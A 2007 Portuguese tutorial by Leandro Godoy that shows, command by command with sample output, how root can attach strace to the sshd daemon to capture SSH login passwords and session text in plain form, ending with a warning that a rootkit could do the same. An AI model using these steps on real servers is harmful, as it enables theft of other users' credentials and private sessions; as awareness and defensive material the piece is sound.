Sniffando o SSH com o Strace

Colaboração: Leandro Godoy

Data de Publicação: 11 de Maio de 2007

É possivel Sniffar as Conexões via SSH simplesmente escutando as chamadas System Calls do daemon SSHD. Existe um ponto de comunicação entre o SSHD e o Kernel, entre a Criptografia e a Descriptografia, em que os dados passam em Texto Plano (plain text) e este tráfego pode ser capturado com o uso do Strace.

1. Sniffando a Senha do Login:

1. No servidor que está com o Server do SSH rodando descubra qual o pid do daemon sshd:

   Zion:~# ps aux | grep sshd | grep -v grep
   root      6097  0.0  0.1   4792  1076 ?        Ss   16:49   0:00 /usr/sbin/sshd
   

2. De posse deste pid dispare o Strace (como root):

   Zion:~# strace -f -p 6097 -o snif_ssh.txt &
   

   Este comando irá logar no arquivo sniff_ssh.txt todas as chamadas do processo de pid 6097 (sshd). Uma lida no man do strace ajuda a entender e experimentar outras opções de filtragem e paãmetros.

3. De um outro servidor, ou para fins de teste da mesma máquina, faça um ssh com um usuário qualquer:

   godoy@Zion:~$ ssh localhost
   Password: textoplano
   Last login: Mon May  7 17:01:15 2007 from localhost.localdomain
   godoy@Zion:~$
   

4. Agora analíse as saídas que foram logadas no arquivo sniff_ssh.txt, procure pelas chamadas read ou write:

   Zion:~# cat snif_ssh.txt | grep read | more
   6521  write(4,  \0\0\0\1\0\0\0\ntextoplano , 18 <unfinished  >
   6520  <  read resumed>  7\0\0\0\1\0\0\0\ntextoplano , 19) = 19
   6520  write(7,  \0\0\0\ntextoplano , 14 <unfinished  >
   6522  <  read resumed>  \6\0\0\0\ntextoplano , 15) = 15
   

2. Sniffando as demais transferências de dados:

1. Digite o seguinte comando, restringindo a busca as chamadas read e write:

   Zion:~# strace -f -p 6097 -o snif_ssh.txt -v -e trace=read,write -s 128 &
   

2. Teste alguns comandos no cliente:

   godoy@Zion:~$ cat > teste.txt
   ======== OK =======
   Sniffou??
   ======= OK =======
   godoy@Zion:~$
   

3. Verifique o log o servidor pesquisando por write ou read:

   Zion:~# cat snif_ssh.txt | grep  ===
   6586  <  read resumed>  ======== OK =======\n , 4096) = 20
   6586  write(1,  ======== OK =======\n , 20) = 20
   6586  <  read resumed>  ======= OK =======\n , 4096) = 19
   6586  write(1,  ======= OK =======\n , 19) = 19
   Zion:~# cat snif_ssh.txt | grep  Sniff
   6586  <  read resumed>  Sniffou??\n , 4096) = 10
   6586  write(1,  Sniffou??\n , 10)       = 10
   Zion:~#
   

   Como a saída do Strace é muito prolixa e pode rapidamente criar um arquivo bem grande, cabe aqui um script para filtrar melhor o log que será gravado no arquivo sniff_ssh.txt.
   Pode-se imaginar que é perfeitamente possível disparar tais comandos no lado do cliente!!
   E que também pode-se criar um rootkit que se aproveite desta comunicação de SystemCalls para pegar o tráfego entre o Servidor SSH e seus clientes.
   Portanto tome muito cuidado com os seus servidores SSH e coms seus clientes.

   Leandro Godoy
   Consultor de TI
   LPI Certified Level 2
   Mandriva Instructor Certified
   ITIL Foundation Certified
   http://www.blogmind.com.br/